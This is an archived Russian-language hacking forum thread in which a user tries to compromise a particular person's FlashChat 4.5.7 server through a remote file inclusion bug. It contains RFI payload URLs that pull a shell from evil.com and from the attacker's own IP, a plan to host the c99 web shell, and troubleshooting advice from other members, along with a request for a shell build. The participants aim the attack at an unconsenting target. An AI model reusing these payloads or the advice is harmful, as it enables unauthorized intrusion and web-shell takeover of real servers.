PDA

Просмотр полной версии : Flashchat !!!


karabym
20.12.2006, 06:42
Приветствую!!!

Вобщем есть такой вопросец хотел нагнуть FlashChat v 4.5.7 нашел баг под него на складе сайта www.milw0rm.com

Код:

http://site.com/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt?
http://site.com/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt?
http://site.com/[script_path]/inc/cmses/aedatingCMS.php?dir[inc]=http://evil.com/shell.txt?

Видео данной уязвимости:

http://rapidshare.de/files/31362430/Flashchat.rar.html

------------------------------------------------------------------------------------------------

Ставлю я значит себе denwer кидаю туда вебшелл с99 и прописываю вот это:

http://ип_цель/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://ип_мой/c99.txt?


Идет запрос и шелл не хочет грузиться попробоал убрать [inc]

На это вебсерв отрыгивает такое:


Warning: main(y:\home\non-existent-host/inc/header.inc.php): failed to open stream: No such file or directory in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 12

Warning: main(): Failed opening 'y:\home\non-existent-host/inc/header.inc.php' for inclusion (include_path='.;/usr/local/php/PEAR') in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 12

Warning: main(hdb.inc.php): failed to open stream: No such file or directory in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 13

Fatal error: main(): Failed opening required 'hdb.inc.php' (include_path='.;/usr/local/php/PEAR') in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 13


Есть небольшой ньюанс на компе_цели как я понял стоит фаирвол который пропускает не все подряд а именно разрешенные приложения админом..
может быть в этом дело ?!

Т.е его ip даже не пингуется... а как я понял баг работает по принцыпу бэкконекта
и возможно фаир рубит это дело на корню..

Вобщем или я туплю или чтото не так делаю :)

Пролейте свет !!!!!!


Вопрос в догонку :)

Честно гворя я не совсем понимаю почему в етом баге шелл должен быть в виде .txt а не в .php

Не нужно ли мне случаем чтобы мой вебсерв обрабатывал .txt как скрипты php ?!

morfey
20.12.2006, 14:29
ну вопервых денвер сначала надо настроить чтобы он смотрел в инет.

кидай в директорию c:/webservers/home/your_site/
файл ".htaccess"(с точкой. создать тебе врятли удасться а вот скопировать из custom получиться)

содержанием

# dnwr_ip 127.0.0.2 <-- вместо 127.0.0.2 вписывай свою ип при подключении к инету и делай ребут апача
# dnwr_host custom-host
# dnwr_port 80

Есть небольшой ньюанс на компе_цели как я понял стоит фаирвол который пропускает не все подряд а именно разрешенные приложения админом..
может быть в этом дело ?!
Файр не файр но он не должен блокировать запрос скрипта на инклуд.

Честно гворя я не совсем понимаю почему в етом баге шелл должен быть в виде .txt а не в .php

Не нужно ли мне случаем чтобы мой вебсерв обрабатывал .txt как скрипты php ?!

файл не должен обрабатываться на сервере где он лежит(иначе инклудиться будет результат выполнения команды на сервере-хранилище). чат инклудя твой тхт считывает его содержимое и помещает в страницу свою вот тама он и будет обрабатываться.

.Slip
20.12.2006, 21:53
Вторым постом в теме всё описывается: http://forum.antichat.ru/thread20985.html.
Не знаю что там может быть непонятного. Пробуй сразу на вебе, не мучай себя и денвер. Кстати эту багу уже почти везде закрыли.

karabym
21.12.2006, 12:50
ну вопервых денвер сначала надо настроить чтобы он смотрел в инет. кидай в директорию c:/webservers/home/your_site/ файл ".htaccess"(с точкой. создать тебе врятли удасться а вот скопировать из custom получиться) содержанием # dnwr_ip 127.0.0.2 <-- вместо 127.0.0.2 вписывай свою ип при подключении к инету и делай ребут апача # dnwr_host custom-host # dnwr_port 80

Забыл дополнит что все это в местной сетке adsl в тырнет доступа нет...
Но сомо собой я настройил апатчь чтобы он смотрел в
сетку с портом 80 но все равно нехочет цеплять шелл.
Но настройку я делал не через .htaccess а прописал
в httpd.conf есть ли разница ?!

Кстати эту багу уже почти везде закрыли.

Ну может ее много где и закрыли но у етого перца весит именно ета версия и бновлять как я вижу он ее пока не собирается :)

karabym
21.12.2006, 12:59
Вторым постом в теме всё описывается: http://forum.antichat.ru/thread20985.html.

Все кокраз так и делаю толко разница втом что шелл посется на моем вебсерваке..

morfey
21.12.2006, 14:17
хм. такто разницы никакой. Но поробовать стоит. Этож денвер...

_Great_
21.12.2006, 14:22
файл ".htaccess"(с точкой. создать тебе врятли удасться а вот скопировать из custom получиться)
создать через експлорер нельзя, через командную строку - не вопрос
echo. > .htaccess

morfey
21.12.2006, 14:30
))) Ай блин. сам тупанул. чет даж мысли не возникало...

karabym
21.12.2006, 15:33
Пробовал .htaccess создавать неканает :) вобщем странно както
Возможно у него верссия подправленая хз

Хотя на запрос chat/inc/cmses/aedating4CMS.php выдает вот это

Warning: main(y:\home\non-existent-host/inc/header.inc.php): failed to open stream: No such file or directory in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 12

Warning: main(): Failed opening 'y:\home\non-existent-host/inc/header.inc.php' for inclusion (include_path='.;/usr/local/php/PEAR') in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 12

Warning: main(db.inc.php): failed to open stream: No such file or directory in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 13

Fatal error: main(): Failed opening required 'db.inc.php' (include_path='.;/usr/local/php/PEAR') in y:\home\non-existent-host\chat\inc\cmses\aedating4cms.php on line 13

.Slip
21.12.2006, 16:31
Пишет что нету такого файла или дирректории. Админ вполне мог их перенести, и изменить адреса подгружаемых файлов чата.

karabym
21.12.2006, 16:41
мда... как пробить где они тусят ?!

.Slip
21.12.2006, 16:45
Скорей всего никак. Он мог их просто переименовать.

karabym
21.12.2006, 16:47
Мда жаль если так....хотя знаю его навыки в этом деле обычно у него все по дефолту :))
Но видать это исключение :)

karabym
21.12.2006, 16:52
Так где пробить это верссию на офф скорей всего новая...
Поставить себе и логическим путем подумать что он там мог изменить :))

Хотя логики тут маловато будет кто его знает какое ему имя папки взбрело в голову...

karabym
21.12.2006, 17:09
Вот что пришло в голову уязвимость скорей всего продемострирована на платной верссии чата а в free версии возможно структура папок другая ?!

Порылся чета нема этой версии :) наврно плохо ищу..

.Slip
21.12.2006, 18:50
Эти флэшы вроде все бесплатны. По крайней мере до 4.7.0 версии.

karabym
23.12.2006, 04:19
Народ !!! подкиньте шелл с99 если можно билд 16 :) ато у меня бета....

karabym
23.12.2006, 04:26
А и на щет этой темы..

Короче че получилось поставил я себе етот чат поробовал провернуть взлом локально
Вобщем шелл грузится но както странно толко титульная страница и если пробовать юзать его то выдает следущее

Warning: main(o:\home\non-existent-host/inc/header.inc.php) [function.main]: failed to open stream: No such file or directory in o:\home\non-existent-host\chat\inc\cmses\aedatingcms.php on line 12

Warning: main() [function.include]: Failed opening 'o:\home\non-existent-host/inc/header.inc.php' for inclusion (include_path='.;/usr/local/php/PEAR') in o:\home\non-existent-host\chat\inc\cmses\aedatingcms.php on line 12

Notice: Undefined variable: dir in o:\home\non-existent-host\chat\inc\cmses\aedatingcms.php on line 13
[Денвер: показать возможную причину ошибки]
Warning: main(db.inc.php) [function.main]: failed to open stream: No such file or directory in o:\home\non-existent-host\chat\inc\cmses\aedatingcms.php on line 13

Fatal error: main() [function.require]: Failed opening required 'db.inc.php' (include_path='.;/usr/local/php/PEAR') in o:\home\non-existent-host\chat\inc\cmses\aedatingcms.php on line 13

Я так понимаю что все дело в самой реализации денвера под винду хотя пробовал appwebserv через него такая же фигня o_O